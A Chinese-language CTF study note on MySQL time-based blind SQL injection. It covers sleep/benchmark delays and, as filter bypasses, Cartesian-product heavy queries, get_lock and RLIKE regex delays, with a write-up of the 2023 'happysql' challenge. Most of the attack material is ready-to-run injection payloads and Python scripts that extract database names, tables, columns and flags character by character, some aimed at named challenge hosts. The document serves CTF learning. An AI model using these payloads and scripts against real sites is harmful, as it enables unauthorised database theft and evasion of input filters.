时间盲注

时间盲注又称延迟注入,适用于页面不会返回错误信息,只会回显一种界面(与布尔盲注类似),其主要特征是利用sleep函数或者benchmark函数让mysql执行时间变长,制造时间延迟,由回显时间来判断是否报错。

1
select * from content where id = 1 and (尝试语句)

1.sleep()函数

sleep(X)函数,延迟X秒后回显

2.benchmark函数

benchmark是Mysql的一个内置函数,其作用是来测试一些函数的执行速度,benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式

仅支持查询单行单列的结果,如果存在单行单列的执行结果,则可以正常执行,反之则报错,执行失败。

当benchmark()内的语句运行失败时,benchmark同样执行失败。

这俩函数都是比较常见的函数,一般跟在if后面用于判断,下面是一个简单的时间盲注查询语句

1
2
3
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(2),0) --+
或者
?id=1' and if(ascii(substr(database(),1,1))=115,benchmark(100000,(select database()),0) --+

前面俩都是老毕等了,一过滤sleep和benchmark就直接gg,所以还要学习新的东西

3.heavy query函数

原理就如方法的名字:大负荷查询
即用到一些消耗资源的方式让数据库的查询时间尽量变长
而消耗数据库资源的最有效的方式就是让两个大表做笛卡尔积,这样就可以让数据库的查询慢下来
而最后找到系统表information_schema数据量比较大,可以满足要求,所以我们让他们做笛卡尔积。

1、笛卡尔乘积是一个数学运算。
假设我有两个集合 X 和 Y ,那么 X 和 Y 的笛卡尔积就是 X 和 Y 的所有可能组合,也就是第一个对象来自于 X ,第二个对象来自于 Y 的所有可能。组合的个数即为两个集合中元素个数的乘积数。
在数学中的定义:假设集合A={a, b},集合B={0, 1, 2},则两个集合的笛卡尔积为{(a, 0), (a, 1), (a, 2), (b, 0), (b, 1), (b, 2)}。

1
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C)

求解笛卡尔积

巅峰极客2023 happysql

(一点也不happy)

上来先fuzz一下

![img](file:///C:\Users\lenovo\Documents\Tencent Files\2485632201\Image\C2C\3S{WHOO9[}E9F79KMMCHQ$T.png)

回显就一个泰酷啦,看来只能进行时间盲注

显然sleep和banchmark被过滤,只能其他方法

这里可以尝试使用笛卡尔积

脚本1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url = "http://52.80.179.198:8080/article.php?id=1' and %s and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)%%23"
data = ""
for i in range(1,1000):
for j in range(33,127):
#payload = "(ascii(substr((database()),%s,1))=%s)"%(i,j) #post
#payload = "(ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),%s,1))=%s)" % (i, j) #article,flags
#payload = "(ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='flags'),%s,1))=%s)" % (i, j) #flag
payload = "(ascii(substr((select flag from flags limit 1),%s,1))=%s)" % (i, j)
payload_url = url%(payload)
try:
r = requests.get(url=payload_url,timeout=8)
except:
data +=chr(j)
print data
break

但是注意到*和count都被过滤了,if也被过滤了

这里可以使用

select 1‘ and (探测语句) and (延时语句)

绕过对if的过滤

笛卡尔积里面的count函数被过滤了可以使用sum函数求

使用sum(0)函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url=""
flag=""
for i in range(100):
for j in range(37,127):
payload1="1' and %s and (select sum(0) from information_schema.columns A ,information_schema.columns B)#"
payload2="(ascii(substr((database()),%s,1))=%s)"%(i,j)
#payload2="(ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),%s,1))=%s)" % (i, j)
#payload2="(ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='flags'),%s,1))=%s)" % (i, j)
#payload2="(ascii(substr((select flag from flags limit 1),%s,1))=%s)" % (i, j)
payload={'id':payload1+payload2}
try:
r=requests.post(url,data=payload,timeout=2)#适当调整
except:
flag+=chr(j)
print(flag)
break

(没有环境,但是应该可行)

这里贴上大佬的wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import time
import requests
from datetime import datetime
url = "http://web-1939c1eb66.challenge.xctf.org.cn/index.php"
result = ""
for i in range(1,100):
head = 32
tail = 126
while head < tail:
mid = (head + tail) >> 1
#查数据库 ctf
param = {
"id": f"1' and ascii(substr(database(),{i},1))>{mid} and (select sum(0) from information_schema.columns A,information_schema.columns B)#"
}
#查表
param = {
"id": f"1' and ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{i},1))>{mid} and (select sum(0) from information_schema.columns A,information_schema.columns B)#"
}
#查列 Flagg
param = {
"id": f"1' and ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flllag')),{i},1))>{mid} and (select sum(0) from information_schema.columns A,information_schema.columns B)#"
}
#Flagg 查数据
param = {
"id": f"1' and ascii(substr((select(group_concat(concat_ws(0x7e,Flagg)))from(ctf.Flllag)),{i},1))>{mid} and (select sum(0) from information_schema.columns A,information_schema.columns B)#"
}
start = int(datetime.now().timestamp() * 1000)
resp = requests.get(url, params=param)
# print(resp.text)
end = int(datetime.now().timestamp() * 1000)
if end - start > 300:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)

用了二分的思想,查询时间也是使用dattime()记时的

4.get_lock()

GET_LOCK(key,timeout) 需要两个连接会话

要求:使用mysql_pconnect()

打开一个到 MySQL 服务器的持久连接

原理是先打开一个链接cmd1

然后再打开cmd2

在使用getlock对某一个资源a进行加锁

select * from content where id =1 and 1 and get_lock(‘AsaL1n’,1);//对资源1调用然后上锁

然后方法同上

select * from content where id =1 and 1 and get_lock(‘AsaL1n’,5);

结果是延时

select * from content where id =1 and 0 and get_lock(‘AsaL1n’,5);

没有延时

使用中间的那个进行盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding: utf-8 -*-
import requests
import time
url1 = "?id=1' and get_lock('skysec.top',1)%23"
r = requests.get(url=url1)
time.sleep(90)
# 加锁后变换身份
url2 = "?id=1' and %s and get_lock('skysec.top',5)%%23"
data = ""
for i in range(1,1000):
print i
for j in range(33,127):
#payload = "(ascii(substr((database()),%s,1))=%s)"%(i,j) #post
payload = "(ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),%s,1))=%s)" % (i, j) #article,flags
#payload = "(ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='flags'),%s,1))=%s)" % (i, j) #flag
#payload = "(ascii(substr((select flag from flags limit 1),%s,1))=%s)" % (i, j)
payload_url = url2%(payload)
try:
s = requests.get(url=payload_url,timeout=4.5)
except:
data +=chr(j)
print data
break

5.Rlike

看到的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
RPAD函数

RPAD(str,len,padstr)

拓展字符串str从len到padstr的长度

like :

常用通配符:% 、_ 、escape

% : 匹配0个或任意多个字符

_ : 匹配任意一个字符

escape : 转义字符,可匹配%和_。如SELECT * FROM table_name WHERE column_name LIKE '/%/_%_' ESCAPE'/'
rlike和REGEXP :

常用通配符:. 、* 、 [] 、 ^ 、 $ 、{n}

. : 匹配任意单个字符

* : 匹配0个或多个前一个得到的字符

[] : 匹配任意一个[]内的字符,[ab]*可匹配空串、a、b、或者由任意个a和b组成的字符串。

^ : 匹配开头,如^s匹配以s或者S开头的字符串。

$ : 匹配结尾,如s$匹配以s结尾的字符串。

{n} : 匹配前一个字符反复n次。

即利用SQL中多次因正则消耗计算资源,达到延时的目的
即构造一个超长的字符串,进行正则匹配

1
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'